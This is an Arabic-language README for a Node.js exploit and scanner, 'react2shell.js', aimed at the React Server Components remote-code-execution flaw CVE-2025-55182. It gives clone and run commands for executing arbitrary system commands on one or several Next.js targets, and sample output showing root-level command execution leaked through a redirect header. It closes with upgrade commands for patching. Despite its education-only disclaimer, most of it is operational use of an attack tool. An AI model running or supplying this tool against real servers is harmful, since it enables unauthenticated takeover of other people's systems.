
سكربت استغلال وماسح ضوئي مبني على NodeJS لثغرة React Server Components المعروفة باسم "React2Shell" (CVE-2025-55182).
لأغراض التعليم والبحث الأمني فقط.
تم تصميم هذه الأداة لمساعدة المتخصصين في الأمن والمشرفين على التحقق من ثغرات أنظمتهم الخاصة. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو أعمال غير قانونية تتم باستخدام هذا الكود.
CVE-2025-55182 هي ثغرة تنفيذ تعليمات برمجية عن بُعد في react-server-dom-webpack، وهي حزمة أساسية تستخدمها Next.js (App Router) وReact 19.
تتيح الثغرة لمهاجم غير مصادَق حقن حمولات ضارة في React Server Actions. من خلال التلاعب بعملية إلغاء التسلسل، يمكن للمهاجم الوصول إلى مُنشئ Function في JavaScript وتنفيذ أوامر نظام عشوائية على الخادم.
اقرأ التفاصيل: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
الإصدارات المتأثرة:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (قبل 14.2.35)، 15.x (قبل 15.5.9)يستخدم هذا السكربت المحدَّث تقنيات استغلال متقدمة ليكون أكثر موثوقية:
Next-Action صالح. يعمل على أي مثيل Next.js ثغري دون استطلاع يدوي.Location الخاصة بـ HTTP. يتجنب أخطاء 500 ويوفر مخرجات نظيفة.استنساخ المستودع:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
الانتقال إلى المجلد:
cd React-Security-CVE-2025-55182-Exploit
التحقق من إصدار Node.js: تأكد من تثبيت Node.js (يُنصح باستخدام الإصدار v18 أو أحدث).
node -v
(ملاحظة: يستخدم هذا السكربت مكتبات Node.js القياسية، لذلك لا حاجة إلى npm install.)
يقوم السكربت react2shell.js تلقائيًا باكتشاف ما إذا كنت تفحص هدفًا واحدًا أو أهدافًا متعددة.
الأمر الافتراضي المنفَّذ هو id.
# Single Target
node react2shell.js http://localhost:3000 ls
# Multiple Targets
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
لتنفيذ أمر معين، قم بتقديمه كـ آخر وسيط.
# Syntax: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>
⚠️ VULNERABLE: نجح السكربت في تنفيذ الأمر وتهريب المخرجات عبر ترويسة إعادة التوجيه.
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ SAFE: رفض الخادم الحمولة أو تم إصلاح الثغرة.
🛡️ SAFE (http://google.com) | Status: 405
❌ CONNECT ERROR: لم يتمكن السكربت من الوصول إلى الخادم.
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
إذا كان تطبيقك ثغريًا، قم بترقية تبعياتك فورًا.
لـ Next.js:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
للأطر الأخرى (Waku, Remix، إلخ):
تأكد من ترقية react-server-dom-webpack إلى v19.2.1 أو أعلى.
موزَّع بموجب رخصة MIT. راجع LICENSE لمزيد من المعلومات.